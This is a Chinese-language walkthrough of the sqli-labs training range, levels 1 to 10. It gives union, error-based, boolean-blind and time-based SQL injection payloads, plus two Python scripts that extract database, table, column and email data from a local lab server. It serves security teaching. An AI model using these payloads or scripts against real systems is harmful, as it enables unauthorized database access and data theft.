Sqli-labs靶场
Less-1:
Less-1/?id=1'
Less-1/?id=1''
由此判断是字符型注入。
Less-1/?id=1' order by 3--+
Less-1/?id=1' order by 4--+
由此判断有3列数据。
Less-1/?id=-1' union select 1,database(),3--+
由此得到数据库名为security。
Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
由此得到表名。
Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),3--+
由此得到第一个表的列名。
Less-1/?id=-1' union select 1,(select email_id from emails limit 0,1),3--+
由此得到列中的数据。
Less-2:
Less-2/?id=1 and 1=1
Less-2/?id=1 and 1=2
由此判断是数字型。
接下来的步骤就和Less-3是一样的,只不过不用加引号闭合。
Less-3:
通过和less-1一样的判断 方法可以知道是字符型,现在的问题是要闭合引号和括号。
当输入--+时会把后面的引号和括号注释掉,所以得补上一个引号和括号。
Less-3/?id=1')--+
然后就是常规操作了:
Less-3/?id=-1') union select 1,database(),3--+
Less-3/?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
Less-3/?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),3--+
Less-3/?id=-1') union select 1,(select email_id from emails limit 0,1),3--+
Less-4:
Less-4/?id=1"
这题也是字符型,不过是双引号加括号。然后就又是常规操作了:
Less-4/?id=-1")union select 1,database(),3--+
Less-4/?id=-1")union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
Less-4/?id=-1")union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),3--+
Less-4/?id=-1")union select 1,(select email_id from emails limit 0,1),3--+
Less-5:
这关以同样的方法判断出是字符型,但是因为页面没有回显所以用不了联合查询。可以尝试使用报错注入,值得注意的是extractvalue()函数在MySQL5.7.32版本之后就被弃用了,但是这里还能用。
Less-5/?id='and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
Less-5/?id='and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
Less-5/?id='and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x7e))--+
Less-5/?id='and extractvalue(1,concat(0x7e,(select email_id from emails limit 0,1),0x7e))--+
Less-6:
这一关和Less-5一样,只不过把单引号换成了双引号。
Less-7:
Less-7/?id=1'
看到这个地方多了两个括号,所以还是一样的套路。
Less-7/?id=1'))--+
Less-7/?id=')) and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
接着还是一样的套路。
Less-8:
经判断是字符型,单引号闭合。但是没有报错信息了,所以就只能盲注了。盲注也就是猜,也就是一个个枚举。
Length()函数是用来计算字符串长度的,下面就是通过有无回显来猜出数据库名的长度,以方便接下来一个一个字母的爆破出完整的数据库名。
Less-8/?id=1' and length((select database()))=8--+
由此得出数据库名的长度为8个字符。
Ascii()函数用于将字符转换为ascii码。
Substr()函数用于截取字符串。
用法:substr(a,b,c),a表示要被截取的字符串,b表示从第几位开始取,c表示截取几位。
Less-8/?id=1' and ascii(substr((select database()),1,1))=115--+
在ascii码中115所对应的字符便是s。如此便知数据库名的第一个字母是s。
下面就通过脚本来枚举。
import requests
import time
url = 'http://127.0.0.1/sqli-labs/Less-8/'
session = requests.Session()
def getDatabase():
results = []
for i in range(1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
mid = (start + end) // 2
params = {
'id': f"1' and ascii(substr((select database()),{i+1},1))>{mid}#"
}
ret = session.get(url, params=params)
if 'You are in' in ret.text:
start = mid + 1
else:
end = mid
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')
同理:
params = {
'id': f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i+1},1))>{mid}#"
}
params = {
'id': f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),{i+1},1))>{mid}#"
}
params = {
'id': f"1' and ascii(substr((select email_id from emails limit 0,1),{i+1},1))>{mid}#"
}
还有一种方法就是用BP来跑。
开始攻击:
Less-9:
这一关无论输入什么都只显示同样的一句话,所以无法用回显来判断对错。那么就只能用时间注入了,也就是用执行时间来判断对错。if(a,sleep(3),1)当a的结果是对的,那么执行sleep(3)页面停顿3秒,反之执行1不停顿。
Less-9/?id=1' and if(1=1,sleep(3),1)--+
1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)--+
这里也是可以用BP爆破的,用脚本更方便些。
时间盲注脚本:
import time
import socket
import requests
import requests.packages.urllib3.util.connection as urllib3_conn
# 强制使用ipv4
# requests库解析localhost时,会优先尝试ipv6,需要花费额外的2s时间,所以强制ipv4
urllib3_conn.allowed_gai_family = lambda: socket.AF_INET
session = requests.Session()
def getDatabase():
results = []
for i in range(1, 1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
mid = (start + end) // 2
url = "http://127.0.0.1/sqli-labs/Less-9/"
params = {
"id": f"6' and if(ascii(substr(database(),{i},1))>{mid},sleep(1),1)#"
}
ret = session.get(url, params=params)
assert ret.status_code == 200, f'code: {ret.status_code}'
assert '429 Too Many Requests' not in ret.text
if ret.elapsed.total_seconds() >= 1:
start = mid + 1
else:
end = mid
time.sleep(0.05)
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')
Less-10:
这一关和Less-9一样,只不过单引号闭合换成了双引号闭合。